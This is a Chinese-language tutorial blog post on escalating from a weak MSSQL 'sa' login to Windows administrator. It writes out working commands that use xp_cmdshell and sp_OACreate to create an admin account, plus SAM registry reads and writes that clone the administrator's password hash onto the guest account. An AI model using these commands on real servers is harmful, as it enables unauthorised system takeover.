MSSQL sa 弱口令提权基础知识学习
栏目: 数据库 · SQL Server · 发布时间: 8年前
内容简介:MSSQL sa 弱口令提权基础知识学习
存储过程 xp_cmdshell
Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。
网络安全中经常利用SqlServer SA弱口令的情况进行系统入侵,就是利用SqlServer中的"存储过程"获得系统管理员权限的,那到底什么是存储过程?
“存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp cmdshell脚本”,它可以执行操作系统的任何指令。如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp cmdshell脚本”,并获得返回值。
比如我们可以执行以下语句,进行系统账号的添加操作:
exec master..xp_cmdshell 'net user test 123/add' exec master..xp_cmdshell 'net localgroup administrators test /add'
执行以上语句后,我们就在服务器上添加了一个用户名为test,密码为123的系统管理员。
到这里,我们应该就明白了,为什么我们如果获取了数据库的SA权限后,我们可以直接获取系统的最高管理员权限。这也就警惕我们在做数据库管理账号密码设置时,应该注意起口令强度与复杂度的设置,以免被网络入侵者所利用。
存储过程 OLE系列
OLE 这系列的存储过程有 sp_OACreate , sp_OADestroy , sp_OAGetErrorInfo , sp_OAGetProperty , sp_OAMethod , sp_OASetProperty , sp_OAStop ,具体的使用方法如下
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'
注意:有关cmd.exe的物理路径要依据具体的操作系统来确定。
将test账号添加到administrators超级管理组
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '
存储过程 xp regread & xp regwrite
获取administrator账号的加密密码
Exec master..xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'
将刚刚获取的0x…开头的value值赋值给guest账号
Exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......
使用guest账号登录远程桌面管理
注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;
针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”,现在我们在来看看使用guest账号登录,OK了,登录成功,成功克隆了administrator账号
以上所述就是小编给大家介绍的《MSSQL sa 弱口令提权基础知识学习》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Fortran 95/2003程序设计
中国电力出版社 / 2009-8 / 88.00元
Fortran是计算世界最早出现的高级程序设计语言之一,随着面向对象编程时代的到来,Fortran语言不仅保持了发展的步伐,而且继续在科学计算方面领先。《Fortran95/2003程序设计(第3版)》在第2~7章介绍了Fortan语言基础知识,为初学者提供入门学习资料;在第8~15章介绍了Fortran语言高级特性,为深入用好Fortran语言提供支持;在第16章讲述了Fortran语言面向对象......一起来看看 《Fortran 95/2003程序设计》 这本书的介绍吧!